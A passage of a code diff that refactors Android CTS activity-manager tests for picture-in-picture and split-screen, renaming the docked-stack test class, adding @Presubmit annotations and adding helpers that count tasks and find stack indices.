import java.util.ArrayList;
import java.util.List;
-import java.util.Stack;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
- * Build: mmma -j32 cts/hostsidetests/services
+ * Build: mmma -j32 cts/tests/framework/base
* Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests
*/
public class ActivityManagerPinnedStackTests extends ActivityManagerTestBase {
@@ -238,9 +237,7 @@
final WindowManagerState wmState = mAmWmState.getWmState();
// Launch an activity into the pinned stack
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_TAP_TO_FINISH, "true");
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_TAP_TO_FINISH, "true");
mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
// Get the display dimensions
@@ -324,8 +321,8 @@
// Assert that we have entered PIP and that the aspect ratio is correct
Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
WINDOWING_MODE_PINNED).getBounds();
- assertTrue(floatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
- (float) num / denom));
+ assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+ (float) num / denom);
}
@Test
@@ -346,20 +343,10 @@
EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
assertPinnedStackExists();
-
- // Hacky, but we need to wait for the enterPictureInPicture animation to complete and
- // the resize to be called before we can check the pinned stack bounds
- final boolean[] result = new boolean[1];
- mAmWmState.waitForWithAmState((state) -> {
- Rect pinnedStackBounds = state.getStandardStackByWindowingMode(
- WINDOWING_MODE_PINNED).getBounds();
- boolean isValidAspectRatio = floatEquals(
- (float) pinnedStackBounds.width() / pinnedStackBounds.height(),
- (float) num / denom);
- result[0] = isValidAspectRatio;
- return isValidAspectRatio;
- }, "Waiting for pinned stack to be resized");
- assertTrue(result[0]);
+ waitForValidAspectRatio(num, denom);
+ Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
}
@Test
@@ -413,8 +400,8 @@
assertPinnedStackExists();
Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
WINDOWING_MODE_PINNED).getBounds();
- assertTrue(floatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
- (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR));
+ assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+ (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
}
@Test
@@ -500,19 +487,11 @@
launchHomeActivity();
assertPinnedStackExists();
- // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
- // and before we can check the pinned stack bounds
- final boolean[] result = new boolean[1];
- mAmWmState.waitForWithAmState((state) -> {
- Rect pinnedStackBounds = state.getStandardStackByWindowingMode(
- WINDOWING_MODE_PINNED).getBounds();
- boolean isValidAspectRatio = floatEquals(
- (float) pinnedStackBounds.width() / pinnedStackBounds.height(),
- (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
- result[0] = isValidAspectRatio;
- return isValidAspectRatio;
- }, "Waiting for pinned stack to be resized");
- assertTrue(result[0]);
+ waitForValidAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+ Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) bounds.width() / bounds.height(),
+ (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
}
@Test
@@ -540,6 +519,7 @@
ALWAYS_FOCUSABLE_PIP_ACTIVITY)));
}
+ @Presubmit
@Test
public void testDisallowMultipleTasksInPinnedStack() throws Exception {
if (!supportsPip()) return;
@@ -560,10 +540,8 @@
assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
PIP_ACTIVITY2)));
- final ActivityStack fullScreenStack =
- mAmWmState.getAmState().getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN);
- assertTrue(fullScreenStack.getBottomTask().mRealActivity.equals(getActivityComponentName(
- PIP_ACTIVITY)));
+ assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
}
@Test
@@ -573,9 +551,7 @@
// Go home
launchHomeActivity();
// Launch an auto pip activity
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_REENTER_PIP_ON_EXIT, "true");
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_REENTER_PIP_ON_EXIT, "true");
assertPinnedStackExists();
// Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
@@ -615,6 +591,7 @@
mAmWmState.assertVisibility(TEST_ACTIVITY, true);
}
+ @Presubmit
@Test
public void testRemovePipWithNoFullscreenStack() throws Exception {
if (!supportsPip()) return;
@@ -630,10 +607,10 @@
// fullscreen stack existed before)
removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
- WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME,
- true /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
}
+ @Presubmit
@Test
public void testRemovePipWithVisibleFullscreenStack() throws Exception {
if (!supportsPip()) return;
@@ -647,10 +624,10 @@
// top fullscreen activity
removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
- WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
}
+ @Presubmit
@Test
public void testRemovePipWithHiddenFullscreenStack() throws Exception {
if (!supportsPip()) return;
@@ -666,8 +643,7 @@
// stack, but that the home stack is still focused
removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
- WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
}
@Test
@@ -685,10 +661,10 @@
// fullscreen stack existed before)
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
- WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
}
+ @Presubmit
@Test
public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
if (!supportsPip()) return;
@@ -702,10 +678,10 @@
// top fullscreen activity
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
- WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
}
+ @Presubmit
@Test
public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
if (!supportsPip()) return;
@@ -721,8 +697,7 @@
// stack, but that the home stack is still focused
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
assertPinnedStackStateOnMoveToFullscreen(
- PIP_ACTIVITY, WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ PIP_ACTIVITY, WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
}
@Test
@@ -828,6 +803,7 @@
executeShellCommand("am task lock stop");
}
+ @Presubmit
@Test
public void testConfigurationChangeOrderDuringTransition() throws Exception {
if (!supportsPip()) return;
@@ -884,6 +860,7 @@
setWindowTransitionAnimationDurationScale(1);
}
+ @Presubmit
@Test
public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
if (!supportsPip()) return;
@@ -1203,26 +1180,14 @@
* {@param expectTopTaskHasActivity} or {@param expectBottomTaskHasActivity} are set respectively.
*/
private void assertPinnedStackStateOnMoveToFullscreen(String activityName, int windowingMode,
- int activityType, boolean expectTopTaskHasActivity, boolean expectBottomTaskHasActivity)
- throws Exception {
+ int activityType) throws Exception {
mAmWmState.waitForFocusedStack(windowingMode, activityType);
mAmWmState.assertFocusedStack("Wrong focused stack", windowingMode, activityType);
mAmWmState.waitForActivityState(activityName, STATE_STOPPED);
assertTrue(mAmWmState.getAmState().hasActivityState(activityName, STATE_STOPPED));
+ assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+ activityName, WINDOWING_MODE_FULLSCREEN));
assertPinnedStackDoesNotExist();
-
- if (expectTopTaskHasActivity) {
- ActivityTask topTask = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_FULLSCREEN).getTopTask();
- assertTrue(topTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
- activityName)));
- }
- if (expectBottomTaskHasActivity) {
- ActivityTask bottomTask = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_FULLSCREEN).getBottomTask();
- assertTrue(bottomTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
- activityName)));
- }
}
/**
@@ -1333,6 +1298,15 @@
}, "Waiting for picture-in-picture activity callbacks...");
}
+ private void waitForValidAspectRatio(int num, int denom) throws Exception {
+ // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
+ // and before we can check the pinned stack bounds
+ mAmWmState.waitForWithAmState((state) -> {
+ Rect bounds = state.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED).getBounds();
+ return floatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
+ }, "waitForValidAspectRatio");
+ }
+
/**
* @return the window state for the given {@param activity}'s window.
*/
@@ -1347,8 +1321,14 @@
/**
* Compares two floats with a common epsilon.
*/
- private boolean floatEquals(float f1, float f2) {
- return Math.abs(f1 - f2) < FLOAT_COMPARE_EPSILON;
+ private void assertFloatEquals(float actual, float expected) {
+ if (!floatEquals(actual, expected)) {
+ fail(expected + " not equal to " + actual);
+ }
+ }
+
+ private boolean floatEquals(float a, float b) {
+ return Math.abs(a - b) < FLOAT_COMPARE_EPSILON;
}
/**
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDockedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
similarity index 85%
rename from tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDockedStackTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
index 6a29bf4..738e028 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDockedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -37,14 +37,15 @@
import static org.junit.Assert.fail;
import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
import org.junit.Test;
/**
- * Build: mmma -j32 cts/tests/framework/base
- * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDockedStackTests
+ * Build/Install/Run:
+ * atest CtsActivityManagerDeviceTestCases:android.server.am.ActivityManagerSplitScreenTests
*/
-public class ActivityManagerDockedStackTests extends ActivityManagerTestBase {
+public class ActivityManagerSplitScreenTests extends ActivityManagerTestBase {
private static final String TEST_ACTIVITY_NAME = "TestActivity";
private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
@@ -72,6 +73,7 @@
}
@Test
+ @Presubmit
public void testStackList() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -104,6 +106,7 @@
}
@Test
+ @Presubmit
public void testNonResizeableNotDocked() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -122,6 +125,7 @@
}
@Test
+ @Presubmit
public void testLaunchToSide() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -139,6 +143,7 @@
}
@Test
+ @Presubmit
public void testLaunchToSideMultiWindowCallbacks() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -147,27 +152,57 @@
// Launch two activities, one docked, one adjacent
launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+ getLaunchActivityBuilder()
+ .setToSide(true)
+ .setWaitForLaunched(true)
+ .execute();
mAmWmState.assertContainsStack("Must contain fullscreen stack.",
WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertContainsStack("Must contain docked stack.",
WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- // Remove the docked stack, and ensure that
+ // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
final String logSeparator = clearLogcat();
removeStacksInWindowingModes(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+ final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
TEST_ACTIVITY_NAME, logSeparator);
- if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
- fail(TEST_ACTIVITY_NAME + " has received "
- + lifecycleCounts.mMultiWindowModeChangedCount
- + " onMultiWindowModeChanged() calls, expecting 1");
- }
+ assertEquals(1, lifecycleCounts.mMultiWindowModeChangedCount);
}
@Test
+ @Presubmit
+ public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+
+ // Move to docked stack.
+ String logSeparator = clearLogcat();
+ setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+ TEST_ACTIVITY_NAME, logSeparator);
+ assertEquals("mMultiWindowModeChangedCount",
+ 1, lifecycleCounts.mMultiWindowModeChangedCount);
+ assertEquals("mUserLeaveHintCount", 0, lifecycleCounts.mUserLeaveHintCount);
+
+ // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+ // will come up.
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+ // Move activity back to fullscreen stack.
+ logSeparator = clearLogcat();
+ setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+ lifecycleCounts = waitForOnMultiWindowModeChanged(TEST_ACTIVITY_NAME, logSeparator);
+ assertEquals("mMultiWindowModeChangedCount",
+ 1, lifecycleCounts.mMultiWindowModeChangedCount);
+ assertEquals("mUserLeaveHintCount", 0, lifecycleCounts.mUserLeaveHintCount);
+ }
+
+ @Test
+ @Presubmit
public void testLaunchToSideAndBringToFront() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -177,13 +212,12 @@
launchActivityInDockStack(LAUNCHING_ACTIVITY);
final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
- mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
// Launch activity to side.
getLaunchActivityBuilder().setToSide(true).execute();
mAmWmState.computeState(waitForFirstVisible);
- int taskNumberInitial = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
TEST_ACTIVITY_NAME);
@@ -191,8 +225,8 @@
launchActivity(
NO_RELAUNCH_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
mAmWmState.computeState(waitForSecondVisible);
- int taskNumberCovered = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberCovered = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
assertEquals("Fullscreen stack must have one task added.",
taskNumberInitial + 1, taskNumberCovered);
mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
@@ -201,8 +235,8 @@
// Launch activity that was first launched to side. It should be brought to front.
getLaunchActivityBuilder().setToSide(true).execute();
mAmWmState.computeState(waitForFirstVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
assertEquals("Task number in fullscreen stack must remain the same.",
taskNumberCovered, taskNumberFinal);
mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
@@ -210,6 +244,7 @@
}
@Test
+ @Presubmit
public void testLaunchToSideMultiple() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -224,8 +259,8 @@
// Launch activity to side.
getLaunchActivityBuilder().setToSide(true).execute();
mAmWmState.computeState(waitForActivitiesVisible);
- int taskNumberInitial = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
assertNotNull("Launched to side activity must be in fullscreen stack.",
mAmWmState.getAmState().getTaskByActivityName(
TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
@@ -233,8 +268,8 @@
// Try to launch to side same activity again.
getLaunchActivityBuilder().setToSide(true).execute();
mAmWmState.computeState(waitForActivitiesVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
TEST_ACTIVITY_NAME);
@@ -244,6 +279,7 @@
}
@Test
+ @Presubmit
public void testLaunchToSideSingleInstance() throws Exception {
launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
}
@@ -253,6 +289,8 @@
launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
}
+
+ @Presubmit
@Test
public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
launchTargetToSide(TEST_ACTIVITY_NAME, true);
@@ -279,8 +317,8 @@
mAmWmState.computeState(waitForActivitiesVisible);
mAmWmState.assertContainsStack("Must contain fullscreen stack.",
WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- int taskNumberInitial = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
assertNotNull("Launched to side activity must be in fullscreen stack.",
mAmWmState.getAmState().getTaskByActivityName(
targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
@@ -288,8 +326,8 @@
// Try to launch to side same activity again with different data.
launchActivityToSide(true, false, targetActivityName);
mAmWmState.computeState(waitForActivitiesVisible);
- int taskNumberSecondLaunch = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberSecondLaunch = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
if (taskCountMustIncrement) {
assertEquals("Task number must be incremented.", taskNumberInitial + 1,
taskNumberSecondLaunch);
@@ -306,8 +344,8 @@
// Try to launch to side same activity again with no data.
launchActivityToSide(false, false, targetActivityName);
mAmWmState.computeState(waitForActivitiesVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
if (taskCountMustIncrement) {
assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
taskNumberFinal);
@@ -322,6 +360,7 @@
targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
}
+ @Presubmit
@Test
public void testLaunchToSideMultipleWithFlag() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
@@ -337,8 +376,8 @@
// Launch activity to side.
getLaunchActivityBuilder().setToSide(true).execute();
mAmWmState.computeState(waitForActivitiesVisible);
- int taskNumberInitial = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
assertNotNull("Launched to side activity must be in fullscreen stack.",
mAmWmState.getAmState().getTaskByActivityName(
TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
@@ -346,8 +385,8 @@
// Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
mAmWmState.computeState(waitForActivitiesVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStandardStackByWindowingMode(
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
assertEquals("Task number must be incremented.", taskNumberInitial + 1,
taskNumberFinal);
mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
@@ -396,6 +435,7 @@
}
@Test
+ @Presubmit
public void testRotationWhenDockedWhileLocked() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -443,6 +483,7 @@
}
@Test
+ @Presubmit
public void testRotationWhileDockMinimized() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -507,6 +548,7 @@
}
@Test
+ @Presubmit
public void testFinishDockActivityWhileMinimized() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -555,6 +597,7 @@
}
@Test
+ @Presubmit
public void testResizeDockedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -641,6 +684,7 @@
}
@Test
+ @Presubmit
public void testStackListOrderLaunchDockedActivity() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
log("Skipping test: no split multi-window support");
@@ -650,12 +694,43 @@
launchActivityInDockStack(TEST_ACTIVITY_NAME);
mAmWmState.computeState(new String[]{TEST_ACTIVITY_NAME});
- final int homeStackIndex = mAmWmState.getStackPosition(ACTIVITY_TYPE_HOME);
- final int recentsStackIndex = mAmWmState.getStackPosition(ACTIVITY_TYPE_RECENTS);
+ final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+ final int recentsStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
assertTrue("Recents stack should be on top of home stack",
recentsStackIndex < homeStackIndex);
}
+ @Test
+ @Presubmit
+ public void testStackListOrderOnSplitScreenDismissed() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+ mAmWmState.computeState(
+ new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ setActivityTaskWindowingMode(DOCKED_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(
+ DOCKED_ACTIVITY_NAME).setWindowingMode(WINDOWING_MODE_FULLSCREEN).build());
+
+ final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+ final int prevSplitScreenPrimaryIndex =
+ mAmWmState.getAmState().getStackIndexByActivityName(DOCKED_ACTIVITY_NAME);
+ final int prevSplitScreenSecondaryIndex =
+ mAmWmState.getAmState().getStackIndexByActivityName(TEST_ACTIVITY_NAME);
+
+ final int expectedHomeStackIndex =
+ (prevSplitScreenPrimaryIndex > prevSplitScreenSecondaryIndex
+ ? prevSplitScreenPrimaryIndex : prevSplitScreenSecondaryIndex) - 1;
+ assertTrue("Home stack needs to be directly behind the top stack",
+ expectedHomeStackIndex == homeStackIndex);
+ }
+
private void launchActivityInDockStackAndMinimize(String activityName) throws Exception {
launchActivityInDockStackAndMinimize(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
index 69ef567..c243715 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
@@ -757,9 +757,9 @@
return true;
}
- int getStackPosition(int activityType) {
- int wmStackIndex = mWmState.getStackPosition(activityType);
- int amStackIndex = mAmState.getStackPosition(activityType);
+ int getStackIndexByActivityType(int activityType) {
+ int wmStackIndex = mWmState.getStackIndexByActivityType(activityType);
+ int amStackIndex = mAmState.getStackIndexByActivityType(activityType);
assertEquals("Window and activity manager must have the same stack position index",
amStackIndex, wmStackIndex);
return wmStackIndex;
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
index e1e275d..3167282 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
@@ -274,7 +274,20 @@
return null;
}
- int getStackPosition(int activityType) {
+ int getStandardTaskCountByWindowingMode(int windowingMode) {
+ int count = 0;
+ for (ActivityStack stack : mStacks) {
+ if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+ continue;
+ }
+ if (stack.getWindowingMode() == windowingMode) {
+ count += stack.mTasks.size();
+ }
+ }
+ return count;
+ }
+
+ int getStackIndexByActivityType(int activityType) {
for (int i = 0; i < mStacks.size(); i++) {
if (activityType == mStacks.get(i).getActivityType()) {
return i;
@@ -283,6 +296,21 @@
return -1;
}
+ int getStackIndexByActivityName(String activityName) {
+ final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (int i = mStacks.size() - 1; i >=0 ; --i) {
+ final ActivityStack stack = mStacks.get(i);
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)) {
+ return i;
+ }
+ }
+ }
+ }
+ return -1;
+ }
+
List<ActivityStack> getStacks() {
return new ArrayList<>(mStacks);
}
@@ -304,6 +332,21 @@
return false;
}
+ boolean containsActivityInWindowingMode(String activityName, int windowingMode) {
+ final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)
+ && activity.getWindowingMode() == windowingMode) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
boolean isActivityVisible(String activityName) {
for (ActivityStack stack : mStacks) {
for (ActivityTask task : stack.mTasks) {
